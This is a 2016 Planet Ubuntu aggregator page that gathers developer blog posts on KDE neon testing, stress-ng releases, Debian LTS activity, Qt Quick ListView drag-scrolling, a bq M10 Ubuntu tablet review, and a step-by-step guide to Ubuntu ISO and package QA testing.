Feed aggregator

Jonathan Riddell: Plasma Wayland Images Go Daily

Planet Ubuntu - Wed, 05/04/2016 - 06:29

With Neon’s infrastructure moving ahead nicely I’ve been able to update my Plasma Wayland images to build on the Neon infrastructure fresh each day.  It uses packages built from KDE Frameworks and Plasma Git master branches and has a default session of KWin running as a Wayland compositor.  The foundation is Ubuntu 16.04LTS.

Download the ISO today


follow the 1 step instruction on Martin’s blog if you already have Neon Dev edition unstable installed.

As usual it doesn’t work in Virtual Box.  Rendering errors appear often, especially with a second monitor. Control-c doesn’t work on konsole.  Otherwise it’s perfect



Colin King: Some extra features landing in stress-ng 0.06.00

Planet Ubuntu - Wed, 05/04/2016 - 05:56
Recently I've been adding a few more features into stress-ng to get improve kernel code coverage.   I'm currently using a kernel built with gcov enabled and using the most excellent lcov tool to collate the coverage data and produce some rather useful coverage charts.

With a gcov enabled kernel, gathering coverage stats is a trivial process with lcov:

sudo apt-get install lcov
sudo lcov --zerocounters
stress-ng --seq 0 -t 60
sudo lcov -c -o kernel.info
sudo genhtml -o html kernel.info

..and the html output appears in the html directory.

In the latest 0.06.00 release of stress-ng, the following new features have been introduced:

  • af-alg stressor, added skciphers and rngs
  • new Translation Lookaside Buffer (TLB) shootdown stressor
  • new /dev/full stressor
  • hdd stressor now works through all the different hdd options if --maximize is used
  • wider procfs stressing
  • added more keyctl commands to the key stressor
  • new msync stressor, exercise msync of mmap'd memory back to file and from file back to memory.
  • Real Time Clock (RTC) stressor (via /dev/rtc and /proc/driver/rtc)
  • taskset option, allowing one to run stressors on specific CPUs (affinity setting)
  • inotify stressor now also exercises the FIONREAD ioctl()
  • and some bug fixes found when testing stress-ng on various architectures.
The --taskset option allows one to keep stress-ng stressors bound to specific CPUs, for example, to run 5 CPU stressors tied to CPUs 1, 3, 5, 6 and 7:

stress-ng --taskset 1,3,5-7 --cpu 5

..thanks to Jim Rowan (Intel) for the CPU affinity ideas.

stress-ng 0.06.00 will be landing in Ubunty Yakkety soon, and also in my power utilities PPA ppa:colin-king/white

Stephen Michael Kellat: Nobody Can Help If You Don't Tell Them You Need Help

Planet Ubuntu - Tue, 05/03/2016 - 23:00

The Hatch Act, such as it is, makes it difficult for me to say much about politics under disability of being a federal civil servant in the United States. I can say that recent political wrangling at the federal level has resulted in many co-workers talking about running away from the current posts to seek duty stations abroad or private sector work abroad. Regardless of their political affiliation, many mandarins are not exactly looking forward to what is to come based upon the current political news.

For a while there has been development of an "Abandon Ship!" plan. Prior versions of this included myself and more than few co-workers seeking to leave the federal civil service. Time has passed and some people managed to carry out their parts of the plan on their own by moving onward and upward.

With some of the lunatic things being tossed about today concerning the death of former US President John F. Kennedy piled on top of other madness over the past eight months, I've come to the point of having to accelerate the single-person version of the "Abandon Ship!" plan. I've written and conducted research in information science and information policy. After putting together a two year program of work, I think it is time to return to that instead of helping move the federal bureaucracy forward.

A fundraising effort via Indiegogo's "Generosity" platform has been set up. Considering the cost for two years of operations, the need to lease office space and pay for the overhead of that since municipal laws say I cannot work from home, regulatory compliance costs such as taxes, and hardware acquisition it isn't really a lot of money. I would not be a rich man from this.

What's the Ubuntu angle? For fans of The Big Bang Theory, they might remember the episode in which Howard, Leonard, and Sheldon try to patent an invention. Howard gets shot down as he is a federal civil servant from NASA on a loan back arrangement to the school so the government owns his intellectual property developed or thought of while on-duty. Simply avoiding my massive commute to and from my "Post of Duty" would leave me more time to make contributions before even getting to who controls my IP output.

Svetlana Belkin: Ubuntu Membership Board Meet and Greet @ UOS

Planet Ubuntu - Tue, 05/03/2016 - 06:51

Sorry for the short notice, but I’m happy to announce that the Ubuntu Membership Board will be hosting a “meet and greet” session at the UOS this week.  We encourage these who seek out getting their membership to come with questions and drafts of your Ubuntu Wiki page .  At least two of the board members will be there and ready to help.  The session is on Thursday at 16:00 – 16:55 UTC .

See you there!

EDIT TO ADD:  It’s a text-based only session.

Jonathan Riddell: KDE neon User Edition Testing Survey Results

Planet Ubuntu - Tue, 05/03/2016 - 04:27

We made a tech preview release of KDE neon User Edition 10 days ago and I made up a survey to get results for how people’s experiences were.  We got 59 responses, here’s a summary:


Most people from Europe, a number from the US, the rest spread around the usual parts of the world.

How did you make the installable drive/disk?

First past the post is people who used a Virtual Machine, sensible enough for a testing release.

Next is ROSA which I discovered recently and seems to work on most OSes.  Then people who use dd and risk wiping out their hard disk with a 1 letter typo.  Surprisingly there are still people who write to a DVD to install, I’ve no idea why.

In the other category is:
rufus (Windows only)
usb-image-creator (Ubuntu only)
suse imagewriter (unmaintained)
gnome multiwriter (Linux only and why would you want to write multiple at once?)
using: sudo cp neon-useredition-20160426-1028-amd64.iso /dev/sdb + sync (err, does this even work?)

Problems which occurred during booting of the live system

no problems for most

several people reported the black bar in the isolinux/syslinux theme.  these themes are spooky voodoo.

people commented on UEFI not being supported, UEFI is even more spooky voodoo and secureboot is evil voodoo.

“The GRUB splash is practically blank. Pressing the arrow keys opened a dropdown list for language selection. Then I pressed the Esc key to get to the GRUB splash. The “Install” option isn’t any different from the “Try without installing” option.”

“Select the language Spanish, and half the options were translated.”

Problems which occurred running the live system

Lots of “none” here too.  Mostly querying the lack of applications, that’s a feature for now, we’ll add apps soon.

“klipper in menu? Im-config in menu? Panel icons wrong size/blurry”

“Upon mouse click in kicker panel consistently resulted in black screen with no recovery. Possible issue with Plasma 6 and AMD GPUs.”

“Baloo crashed immediately (notification in system tray), but did not seem to affect system function.”

Problems which occurred running the installer

‘The “Continue” button is available even after all the steps.’

“You do not ship with open-vm-tools-desktop, so my virtual desktop was smaller than the Ubiquity window”

“the installer was unable to install some packages: (although the provided list was blank), so i couldn’t install the system”

“Does not recognize UEFI partitions/System. Only legacy boot possible.”

“1. On the second page of the installer is a non replaced variable: “$(RELEASE)” 2. While installing there is no teaser how awesome kde is :-), just a blank page.”

‘Text “$(RELASE)” is displayed in german version of “Download updates while installing neon” * Checkbox “Download updates while installing neon” cannot be checked’

“Can’t continue installation in second step (prepare) due continue button is non-functional. Improvement: Install-Program should be in favorites”

There’s bugs in here that come from Ubuntu and bugs that come from not having various bits installed.  I don’t think there’s much point spending much time on this as I expect to change to Calamares soon.

Problems which occurred on the installed system:

Quite a few without problems

Lots complain about missing icons, this is a cache issue “On the kicker menu, there were no icons, but they appeared after a re-boot.” we’ve fixed this, I hope.

“Can not start system, just weird colors after install. ”

“After install of guest additions on VirtualBox desktop panel would load but then disappear.”

“Wanted to install it on dualboot with win 10. Grub does not appear so I cannot boot kde neon which I prefere as primary OS.”

“got a grub shell after install”

“Text garbage on the light blue loading screen after the GRUB menu.”

“if a display goes to sleep plasma partly crashes (same happens on kubuntu) it’s a qt problem as far as i know”

“Illegible characters till NVIDIA driver loaded ”

“Unable to use software-properties-kde : Error: could not find a distribution template for neon/xenial” (known bug this one)

“System boots to console login prompt. X can be started after login. ”

Problems which occurred when installing new software

“Plasma Discover crashed” I have this too and it’s a priority to look into

“There was a problem installing kde-l10n because of conflict with plasma-desktop-data”
Problems which occurred when updating the system to latest packages:

No problems for most people but some issues:

  • The updater applet didn’t seem to work for some reason. Had to use Discover.
  • * First boot after “apt-get update” and “upgrade”: the system boots to graphical login screen, but after login only the “x” pointer ist visible. –> Hard reset
  • * After reboot only console login is visbile, X does not start “Timeout locking .Xauthority”
  • Could not find repos
  • ANOTHER – using Discover, added Gwenview – it installed but closed Discover on completion?

Thanks a lot to everyone who tested and gave feedback.  That gives me a good idea of the priority areas to work on.  Keep on testing and reporting bugs and of course any help welcome



Raphaël Hertzog: My Free Software Activities in April 2016

Planet Ubuntu - Tue, 05/03/2016 - 00:13

My monthly report covers a large part of what I have been doing in the free software world. I write it for my donators (thanks to them!) but also for the wider Debian community because it can give ideas to newcomers and it’s one of the best ways to find volunteers to work with me on projects that matter to me.

Debian LTS

I handled a new LTS sponsor that wanted to see wheezy keep supporting armel and armhf. This was not part of our initial plans (set during last Debconf) and I thus mailed all teams that were impacted if we were to collectively decide that it was OK to support those architectures. While I was hoping to get a clear answer rather quickly, it turns out that we never managed to get an answer to the question from all parties. Instead the discussion drifted on the more general topic of how we handle sponsorship/funding in the LTS project.

Fortunately, the buildd maintainers said they were OK with this and the ftpmasters had no objections, and they both implicitly enacted the decision: Ansgar Burchardt kept the armel/armhf architectures in the wheezy/updates suite when he handled the switch to the LTS team, and Aurélien Jarno also configured wanna-build to keep building armel/armhf for the suite. The DSA team did not confirm that this change was not interfering with one of their plans to decommission some hardware. Build daemons are a shared resource anyway and a single server is likely to handle builds for multiple releases.

DebConf 16

This month I registered for DebConf 16 and submitted multiple talk/BoF proposals:

  • Kali Linux’s Experience of a Debian Derivative Based on Testing (Talk)
  • 2 Years of Work of Paid Contributors in the Debian LTS Project (Talk)
  • Using Debian Money to Fund Debian Projects (BoF)

I want to share the setup we use in Kali as it can be useful for other derivatives and also for Debian itself to help smooth the relationship with derivatives.

I also want to open again the debate on the usage of money within Debian. It’s a hard topic but we should really strive to take some official position on what’s possible and what’s not possible. With Debian LTS and its sponsorship we have seen that we can use money to some extent without hurting the Debian project as a whole. Can this be transposed to other teams or projects? What are the limits? Can we define a framework and clear rules? I expect the discussion to be very interesting in the BoF. Mehdi Dogguy has agreed to handle this BoF with me.


Django. I uploaded 1.8.12 to jessie-backports and 1.9.5 to unstable. I filed two upstream bugs (26473 and 26474) for two problems spotted by lintian.

Unfortunately, when I wanted to upload it to unstable, the test suite did not ran. I pinned this down to a sqlite regression. Chris Lamb filed #820225 and I contacted the SQLite and Django upstream developers by email to point them to this issue. I helped the SQLite upstream author (Richard Hipp) to reproduce the issue and he was quick to provide a patch which landed in 3.12.1.

Later in the month I made another upload to fix an upgrade bug (#821789).

GNOME 3.20. As for each new version, I updated gnome-shell-timer to ensure it works with the new GNOME. This time I spent a bit more time to fix a regression (805347) that dates back to a while and that would never be fixed otherwise since the upstream author orphaned this extension (as he no longer uses GNOME).

I have also been bitten by display problems where accented characters would be displayed below the character that follows. With the help of members of the GNOME team, we found out that this was a problem specific to the cantarell font and was only triggered with Harfbuzz 1.2. This is tracked in Debian with #822682 on harfbuzz and #822762 in fonts-cantarell. There’s a new upstream release (with the fix) ready to be packaged but unfortunately it is blocked by the lack of a recent fontforge in Debian. I thus mailed debian-mentors in the hope to find volunteers to help the pkg-fonts team to package a newer version…

Misc Debian/Kali work

Distro Tracker. I started to mentor Vladimir Likic who contacted me because he wants to contribute to Distro Tracker. I helped him to setup his development environment and we fixed a few issues in the process.

Bug reports. I filed many bug reports, most of them due to my work on Kali:

  • #820288: a request to keep the wordpress package installable in older releases (due to renaming of many php packages)
  • #820660: request support of by-hash indices in reprepro
  • #820867: possibility to apply overrides on already installed packages in reprepro
  • #821070: jessie to stretch upgrade problem with samba-vfs-modules
  • #822157: python-future hides and breaks python-configparser
  • #822669: dh_installinit inserts useless autoscript for System V init script when package doesn’t contain any
  • #822670: dh-systemd should be merged into debhelper, we have systemd by default and debhelper should have proper support for it by default

I also investigated #819958 that was affecting testing since it has been reported to Kali as well. And I made an NMU of dh-make-golang to fix #819472 that I reported earlier.


See you next month for a new summary of my activities.

No comment | Liked this article? Click here. | My blog is Flattr-enabled.

The Fridge: Ubuntu Weekly Newsletter Issue 464

Planet Ubuntu - Mon, 05/02/2016 - 18:39

Welcome to the Ubuntu Weekly Newsletter. This is issue #464 for the week April 25 – May 1, 2016, and the full version is available here.

In this issue we cover:

The issue of The Ubuntu Weekly Newsletter is brought to you by:

  • Elizabeth K. Joseph
  • Simon Quigley
  • Chris Guiver
  • Chris Sirrs
  • And many others

If you have a story idea for the Weekly Newsletter, join the Ubuntu News Team mailing list and submit it. Ideas can also be added to the wiki!

Except where otherwise noted, content in this issue is licensed under a Creative Commons Attribution 3.0 License BY SA Creative Commons License

Ubuntu Weekly Newsletter Issue 464

The Fridge - Mon, 05/02/2016 - 18:39

Welcome to the Ubuntu Weekly Newsletter. This is issue #464 for the week April 25 – May 1, 2016, and the full version is available here.

In this issue we cover:

The issue of The Ubuntu Weekly Newsletter is brought to you by:

  • Elizabeth K. Joseph
  • Simon Quigley
  • Chris Guiver
  • Chris Sirrs
  • And many others

If you have a story idea for the Weekly Newsletter, join the Ubuntu News Team mailing list and submit it. Ideas can also be added to the wiki!

Except where otherwise noted, content in this issue is licensed under a Creative Commons Attribution 3.0 License BY SA Creative Commons License

Aurélien Gâteau: Reordering a Qt Quick ListView via drag'n'drop - part 2

Planet Ubuntu - Mon, 05/02/2016 - 10:52

Welcome to this second article in the "Reordering a Qt Quick ListView via drag'n'drop" series. If you haven't read it already, I suggest you start with the first article.

In this article we are going to add a handy feature to our ListView: the ability to automatically scroll the ListView when dragging an item to its top or bottom edge. This is nice when you want to drag an item to a place which is not currently visible.

Here is this new behavior in action:

We are going to implement this by using the MouseArea of the DraggableItem introduced in the first article. When the mouse cursor in this MouseArea is close enough to the borders of the ListView we will trigger scrolling animations. This is a bit less elegant than adding MouseAreas at the top and bottom of the ListView, but has the nice advantage of not requiring any change in the ListView.

The first thing we are going to do is add a few properties to our component:

// Size of the area at the top and bottom of the list where drag-scrolling happens property int scrollEdgeSize: 6 // Internal: set to -1 when drag-scrolling up and 1 when drag-scrolling down property int _scrollingDirection: 0 // Internal: shortcut to access the attached ListView from everywhere. // Shorter than root.ListView.view property ListView _listView: ListView.view

Now we can declare two animations to scroll the list:

SmoothedAnimation { id: upAnimation target: _listView property: "contentY" to: 0 running: _scrollingDirection == -1 } SmoothedAnimation { id: downAnimation target: _listView property: "contentY" to: _listView.contentHeight - _listView.height running: _scrollingDirection == 1 }

These two animations operate on the ListView and will make it scroll by animating its contentY property, depending on the value of _scrollingDirection. All that remain is to update _scrollingDirection when dragging to the top or bottom edge of the ListView. We do this by changing the binding of scrollingDirection when we enter the "dragging" state:

_scrollingDirection: { var yCoord = _listView.mapFromItem(dragArea, 0, dragArea.mouseY).y; if (yCoord < scrollEdgeSize) { -1; } else if (yCoord > _listView.height - scrollEdgeSize) { 1; } else { 0; } }

Here we define a complex expression for scrollingDirection: first we compute the y coordinate relative to the ListView. Then we check its value to see if we are on either the top or bottom edge, and update the value accordingly.

We can now scroll the ListView by dragging items to its top or bottom edge. You might notice an annoying bug though: when you drop an item below the last item the dropped item does not become visible. To workaround this, we need a little hack: once the ListView has moved the dropped item at its final position, we can call the ListView.positionViewAtIndex() method to ensure our item is visible. The trick is, even if the code connected to the moveItemRequested moves the Item synchronously, we cannot call positionViewAtIndex right after the signal has been emitted: we need to wait until the ListView has actually adjusted itself after the move. To do so, we can use a Timer object to delay the call to positionViewAtIndex. This is what emitMoveItemRequested now looks like:

function emitMoveItemRequested() { var dropArea = contentItemWrapper.Drag.target; if (!dropArea) { return; } var dropIndex = dropArea.dropIndex; if (model.index < dropIndex) { dropIndex--; } if (model.index === dropIndex) { return; } root.moveItemRequested(model.index, dropIndex); makeDroppedItemVisibleTimer.start(); }

And this is our Timer:

Timer { id: makeDroppedItemVisibleTimer interval: 0 onTriggered: { _listView.positionViewAtIndex(model.index, ListView.Contain); } }

An interval of 0 means the timer will be triggered as soon as we are back to the event loop. Note that this only works because in our example the code connected to the DraggableItem.moveItemRequested signal is synchronous: it does not delay the move of the dropped item. If the code were asynchronous, you would have to find a way to call ListView.positionViewAtIndex after the move is done, which most likely would require calling it outside of DraggableItem.

We are done with drag-scrolling, the user can now scroll long lists to find the place to drop the dragged item. The source code for this article is available in the associated GitHub repository, under the "2-drag-scroll" tag. You can now continue to the next article of the series.

Costales: Review tablet bq M10 Ubuntu Edition

Planet Ubuntu - Mon, 05/02/2016 - 09:43
Mi primer post desde una tablet con Ubuntu, la bq M10.

M10Podría hablar de su hardware o de sus especificaciones, podría decir su precio, podría contar cuantas versiones hay de la tablet, podría especificar la versión de cada aplicación, podría contar qué es la convergencia...
Pero toda esa información está disponible en Internet desde que salió al mercado. Por lo que mejor os cuento la experiencia de usar una tablet con Ubuntu durante un par de semanas ;)

¿Mi escritorio? No ;)Primer punto que quiero aclarar: no me gustan las tablets. Prefiero mil veces la precisión del teclado y ratón.

Segundo punto: adoro Ubuntu Phone. Cuando estoy AFK sigo disponiendo de un autentico Ubuntu en mi bolsillo.

Tercer punto: No tengo monitores con entrada HDMI, por lo que la convergencia que puedo esperar es la basada en la futura Miracast.

Centrémonos en la tablet del mercado que mas se asemeja a un SO real de escritorio.

El sistema operativo es Ubuntu, pero Ubuntu Touch con Unity 8, no el Unity 7 del escritorio actual.

¡Legendario! :)Dicho esto, las aplicaciones son las mismas que las del móvil, pero sorpresa, están preinstaladas unas cuantas como LibreOffice, GIMP, Gedit, Firefox, XChat...
Lo mejor es que son aplicaciones reales que con teclado y ratón se comportan como tal. Lo malo es que no es fácil instalar otras aplicaciones de escritorio (llamadas legacy). Tengo entendido que a corto plazo, se podrá, y entonces la tablet ganara muchos enteros.

Mientras tanto, yo no uso LibreOffice, GIMP esporádicamente, Gedit nunca y al final lo que tengo es un móvil de 10", es decir, poco útil y productivo para mi uso diario.

Pero lo que para mi es malo, para otros es la perfección. Conozco profesores y alumnos para los que esta tablet es perfecta: Con su 1/2kg de peso es muy portable, su tarea principal es usar LibreOffice y les permite trabajar con el mismo dispositivo en casa, en la escuela e incluso proyectar presentaciones. Sin duda, ante esas necesidades, sólo esta tablet o un ultrabook carísimo cubriría esa casuística.
El potencial nicho de mercado es muy grande.

La tablet que estoy probando es la FHD, al igual que los móviles con Ubuntu de mucha resolución de pantalla tiene un pequeño lag incómodo.

Choosing app
bq M10 se maneja igual que un bq E4.5 Ubuntu Edition en todos los sentidos. Si conectamos un ratón por Bluetooth se transforma en modo ventana, con Unity mostrándose al acercar el ratón. Podemos minimizar, maximizar, mover, anclar ventanas... realmente aparenta un Ubuntu de escritorio y es aquí donde Ubuntu Touch gana enteros.

keyboard + mouse = PC
Respecto a la convergencia, como comenté, yo no dispongo de monitores HDMI. Si tú sí tienes, puedes trabajar de varios modos:

  • Táctil como cualquier otra tablet.
  • Añadirle teclado y ratón y tener un pequeño netbook.
  • Añadirle teclado y ratón y conectarla por HDMI a un monitor y tener un PC, siendo la tablet la CPU.
Convergencia :))
    La batería dura unas ~8 horas trabajando.

    En modo ventana (con ratón conectado) todas las aplicaciones corren a la vez con multitarea real. En modo touch, sólo está en ejecución la que está en primer plano.

    Es una pasada usarla con el teclado, podemos copiar, pegar (incluso entre aplicaciones), cambiar de aplicación con Alt+Tab, Win+número para seleccionar aplicación en Unity... etc.

    Dispone de un navegador de ficheros con la apariencia de Nautilus.

    Y muy útil el dividir la pantalla viendo 2 aplicaciones simultáneamente en modo touch. Para ello arrastramos cualquier aplicación con 3 dedos.

    Puedes comprar esta tablet aquí. Imágenes CC.

    Daniel Holbach: Ubuntu Core at UOS 16.05

    Planet Ubuntu - Mon, 05/02/2016 - 08:43

    Ubuntu 16.04 LTS is out of the door, we started work on the Yakkety Yak already, now it’s time for the Ubuntu Online Summit. It’s all happening 3-5 May 14-20 UTC. This is where we discuss upcoming features, get feedback and demo all the good work which happened recently.

    If you want to join the event, just head to the registration page and check out the UOS 16.05 schedule afterwards. You can star (☆) sessions and mark them as important to you and thus plan your attendance for the event.

    Now let’s take a look on the bits which are in one way or another related to Ubuntu Core at UOS:

    • Snappy Ubuntu 16 – what’s new
      16.04 has landed and with it came big changes in the world of snapd and friends. Some of them are still in the process of landing, so you’re in for more goodness coming down the pipe for Ubuntu 16.04 LTS.
    • The Snapcraft roadmap
      Publishing software through snaps is super easy and snapcraft is the tool to use for this. Let’s take a look at the roadmap together and see which exciting features are going to come up next.
    • Snappy interfaces
      Interfaces in Ubuntu Core allow snaps to communicate or share resources, so it’s important we figure out how interfaces work, which ones we’d like to implement next and which open questions there are.
    • Playpen – Snapping software together
      Some weeks ago the Community team set up a small branch in which we collaborated on snapping software. It was good fun, we worked on things together, learnt from each other and quickly worked out common issues. We’d like to extend the project and get more people involved. Let’s discuss the project and workflow together.
    • How to snap your software
      If you wanted to start snapping software (yours or somebody else’s) and wanted to see a presentation of snapcraft and a few demos, this is exactly the session you’ve been looking for.
    • Snappy docs – next steps
      Snappy and snapcraft docs are luckily being written by the developers as part of the development process, but we should take a look at the docs together again and see what we’re missing, no matter if it’s updates, more coherence, more examples or whatever else.
    • Demo: Snaps on the desktop
      Here’s the demo on how to get yourself set up as a user or developer of snaps on your regular Ubuntu desktop.

    I’m looking forward to see you in all these sessions!

    Svetlana Belkin: Goals for Y Cycle

    Planet Ubuntu - Sun, 05/01/2016 - 10:01

    It’s that time again when I write up goals for the next Ubuntu release cycle!  But as a side thought, I noticed that I started to think in Ubuntu release cycles when planning my goals for the next six months.  I guess it’s my new measure of time since I’m out of school…  Anyhow, these are my goals for the Y (16.10) cycle:

    • See the Tweets below:

    I’m thinking of starting a coding project for a electronic lab notebook that will be Open Source, but it will be most likely in Python.

    — Svetlana Belkin (@senseopenness) April 26, 2016

    Something close to the RedNotebook. https://t.co/J8skJ637Qf

    — Svetlana Belkin (@senseopenness) April 26, 2016

    I don’t know yet if I will remix Red Notebook because at the moment, it’s the closest thing that I see to a electronic lab notebook. I will have post when I start this project (Week of May 1st to Week of May 8th)

    EDIT TO ADD: I’m also thinking of writing one in Qt and calling it Qt ELN (Electronic Lab Notebook).

    • Hack around my favorite, net hack game, Stone Soup’s Dungeon Crawl! My main idea/hack is to add zealots of every god instead of just a select few.  But I may expend on that…  Again, I will have a post when I start this project.
    • Do more with Linux Padawan’s community.  I don’t know what yet though…

    Hopefully, I can complete these projects or at least learn from working on them.  I will work on updating you all at least once a month.

    Wish me luck!

    Costales: From uNav with ❤ to OpenStreetMap

    Planet Ubuntu - Thu, 04/28/2016 - 13:57

    We (Joerg Berroth, Nekhelesh Ramananthan, Marcos Costales) donated all the money of this quarter from the uNav donate version to OpenStreetMap project.

    We love OSM!
    We're happy that the 20% of the purchases are going to Ubuntu already :))

    The Fridge: Ubuntu Online Summit: 3-5 May

    Planet Ubuntu - Thu, 04/28/2016 - 08:53

    The next Ubuntu Online Summit (UOS) is going to be from 3-5 May 2016 with sessions happening from 14:00 – 20:00 UTC.

    If you are planning to attend, please register here:


    If you and your team need to discuss something at UOS, please get your sessions in as soon as possible:


    Getting them in earlier will mean that others can plan their attendance accordingly and you will have better turnout. Please note that we are not only keen to have discussion and planning sessions, but also workshops and presentations.

    Originally posted to the community-announce mailing list on Wed Apr 27 08:06:53 UTC 2016 by Daniel Holbach

    Ubuntu Online Summit: 3-5 May

    The Fridge - Thu, 04/28/2016 - 08:53

    The next Ubuntu Online Summit (UOS) is going to be from 3-5 May 2016 with sessions happening from 14:00 – 20:00 UTC.

    If you are planning to attend, please register here:


    If you and your team need to discuss something at UOS, please get your sessions in as soon as possible:


    Getting them in earlier will mean that others can plan their attendance accordingly and you will have better turnout. Please note that we are not only keen to have discussion and planning sessions, but also workshops and presentations.

    Originally posted to the community-announce mailing list on Wed Apr 27 08:06:53 UTC 2016 by Daniel Holbach

    Ubuntu Podcast from the UK LoCo: S09E09 – Solitary Confinement - Ubuntu Podcast

    Planet Ubuntu - Thu, 04/28/2016 - 07:00

    It’s Episode Nine of Season Nine of the Ubuntu Podcast! Alan Pope, Mark Johnson, Laura Cowen and Martin Wimpress are connected and speaking to your brain.

    We’re here again, although one of us is in Prague!

    In this week’s show:

    That’s all for this week! If there’s a topic you’d like us to discuss, or you have any feedback on previous shows, please send your comments and suggestions to show@ubuntupodcast.org or Tweet us or Comment on our Facebook page or comment on our Google+ page or comment on our sub-Reddit.

    Simon Quigley: Contributing to Ubuntu - 2 - Ubuntu Quality

    Planet Ubuntu - Wed, 04/27/2016 - 20:45

    For the past nine months, I have done a couple forms of QA for the Ubuntu project and flavors. In this blog post, I plan on highlighting some common practices and how I contributed.

    ISO QA Test Download the image

    For demonstration purposes, I'll grab the Lubuntu daily image, which as I'm writing this, is the Yakkety daily image. First, navigate to cdimage.ubuntu.com, it should look similar to the below screenshot:

    Since in this case we are testing Lubuntu, select lubuntu/, the page should look like this after loading:

    Lubuntu is a special case. They have desktop images and alternate images1. The desktop image is the same across all flavors, while the alternate image uses the Debian installer and requires less RAM to run. In this case, let's test the alternate image, so select daily/, the page should look like this after loading:

    In the above screenshot, I have noted a few things, here is the purpose of each directory2:
    20160425/ - I am writing this on April 26, 2016 (20160426), but this directory exists to ensure we have an image from the previous day for testing purposes and in the odd case that something gets messed up.
    20160426/ - These are today's images
    current/ - All of the images go through some automatic testing before proceeding to this directory, these are the last images that passed these tests.
    pending/ - This is the directory that holds the images that are either currently testing or that haven't passed the tests, and this is usually the same files as 20160426/.

    We are going to grab the image from the current/ directory. The page for current/ should look like the following screenshot3:

    Scroll down and you should see the following:

    Listed are three architectures: amd64 (which is 64-bit), i386 (which is 32-bit), and PowerPC (old Macintosh machines). Other Ubuntu flavors usually have only amd64 and i386, but Lubuntu has a PowerPC image as well. We have six (6) files for each architecture:

    1. *.OVERSIZED - irrelevant right now, you do not need to worry about it.
    2. *.iso - the image file.
    3. *.iso.zsync - the zsync file for the image.
    4. *.jigdo - the Jigdo file.
    5. *.list - the list file.
    6. *.template - the jigdo template file.

    I will show you how to utilize two (2) of the six (6) files in this directory to download the images. Ensure the zsync package is installed on your system before continuing. To download the image, yes, you can use your web browser to download the image. But there is a better way, using zsync. zsync allows you to download the image, but when the image changes, it will automatically merge the changes with the existing image that you have. Since it is the same directory and image name for the whole development cycle, you can safely use one link until the development release gets released. I'll create a directory to put the images:
    $ mkdir daily-images && cd daily-images
    Copy the zsync link for your architecture and paste it into the terminal, for example:
    $ zsync http://cdimage.ubuntu.com/lubuntu/daily-live/current/yakkety-desktop-amd64.iso.zsync
    When you press Enter, the image will download. When this is done, you should have the image ready to go.

    Getting set up with the ISO QA Tracker

    Navigate to iso.qa.ubuntu.com in your browser, you should see the following:

    On the left side, click the Log in button. You should be brought to a page that looks like this:

    If you already have an Ubuntu One account, log in with your credentials and press the Log In button. If you don't have an account, create one. I don't plan on going much into detail on this, so let's move on. You should be brought to a screen that looks similar to this:

    Click the Yes, log me in button. You should be brought to the following screen, if you have a black bar at the top like in the image, you have logged in correctly:

    Towards the bottom, you should see the Yakkety Daily suite3. Click on that and you should get to a screen with various options for images. Scroll down and you should get a screen similar to this:

    Since I downloaded the amd64 desktop image earlier, I will select Lubuntu Desktop amd64. You should get to a screen that looks like this:

    Here we have four test cases to choose from:

    • Install (auto-resize) - requires an existing installation.
    • Install (entire disk) - very generic.
    • Install (manual partitioning) - same as entire disk except you get to manually partition everything.
    • Live Session - testing the live instance.

    Because it's the most generic, I'll select Install (entire disk). When you click on that, you should get a screen similar to this:

    If you scroll down to the bottom, you should see something similar to this:

    Filling it out will be covered in a bit, but it's good to know what the submission form looks like.

    Executing the test case

    A lot of the test cases are done in virtual machines, but if you have hardware to spare, that's better, but it's not essential. I'm not going to cover how to use a virtual machines, but you can find good guides below. I prefer KVM because the Linux kernel has built-in support for it, it's a lot more integrated, and it's completely free software. I've used VirtualBox in the past, it's a great program, but it's proprietary, and the kernel modules can be a bit fidgety to get working after a kernel upgrade.

    Before you begin, read over the test case you plan on executing, there may be some important instructions that you need to watch out for. When you are ready to start, on the test case, select the In Progress radio box and press the Submit result button. Complete the test exactly how the test case says it should be done.

    During the installation, if you encounter an error that is critical enough that you cannot proceed, first look at the Bugs to look for. Is there a bug that describes your problem? If not, search Launchpad for the bug. If it's not there, identify the culprit package and file a bug against it. If you have trouble doing this, join the #ubuntu-quality channel using your IRC client or the IRC client provided below and ask for help.

    When you are done, on the test case page, click the button to edit your test case result:

    You should be brought to a page similar to this:

    If you had no trouble installing it using the instructions, select the Passed radio box. For the bugs, from what I have seen, any bugs in the system, NOT just the installation bugs, should be reported. So look at the release notes of the most recent milestone for the flavor you are testing, and go through bug reports. Confirm as much as you can, when you do, mark the bug as Me too and list the bugs under the Bugs header in the following format:


    Be careful, the tracker likes to insert extra commas and sometimes mangle this a bit. Always check this field before updating your result.

    When you have all the bugs cited on this page, select the Update result button. If you then scroll down to the bottom, you should see your Launchpad ID with a green checkmark beside it and links to the bugs you listed. Congrats! You now completed that test case!

    Package QA Test

    The package QA tests exist to ensure that all packages are thoroughly tested for the release. Ensure you have an installation of the daily image for that flavor. Before you begin, ensure you have an Ubuntu One account set up. Also ensure you have read the previous section as I will not repeat some information that is explained above.

    Navigate to packages.qa.ubuntu.com in your browser, you should see the following:

    Click on Yakkety Daily3 and you should be brought to a screen similar to this:

    Since as of the time of writing, Xubuntu is the only flavor with package test cases, click on Xubuntu Desktop and you should be brought to a screen similar to this:

    At this point, open the test case and complete like normal, making sure to follow instructions exactly how they are listed. Instead of checking the release notes, go to the Launchpad bugs page for each package and check against all of the bugs. You can find the bugs for each package at the following URL, replacing PACKAGE with the respective package name:


    After this is done, congrats! You just completed a Package QA test!

    Write a manual test case

    The manual test cases are not automatically generated, they are hand-written for that application. I will tell you how to write a test case but I'm not actually going to write one because that would be too tedious for me to put in this article.

    To keep track of the manual test cases that need writing, we have bugs for each test case and details on what to do to it. I've done this a few times before, so I know these already, but read over the instructions for writing a test case before you begin. First, assign the bug to yourself and mark it as In Progress. Then read over the bug report and responses to ensure you know what you are doing. Next, ensure the program is installed by default in the flavor the bug report specifies. If this is not the case, mark the bug as Incomplete and state that it is not in the flavor you specified. If it is there, you can continue.

    After that, grab the source for the Ubuntu Manual Test Cases. Ensure you have bzr installed and run:

    $ bzr branch lp:ubuntu-manual-tests

    Then cd into the ubuntu-manual-tests directory just created. Go into the testcases/packages/ directory and another subdirectory if applicable. Open your favorite text editor and create a file with the name of the package you are creating a test case for, no need for any numbers. Using the guide above, write the test case and verify it. Below I have embedded a video by Nicholas Skaggs if you prefer to view a video:

    When you are done, make sure you are directly in the ubuntu-manual-tests directory, and execute the following command4:

    $ bzr add * && bzr commit --fixes lp:BUG#

    Then push to a Bazaar branch in Launchpad:

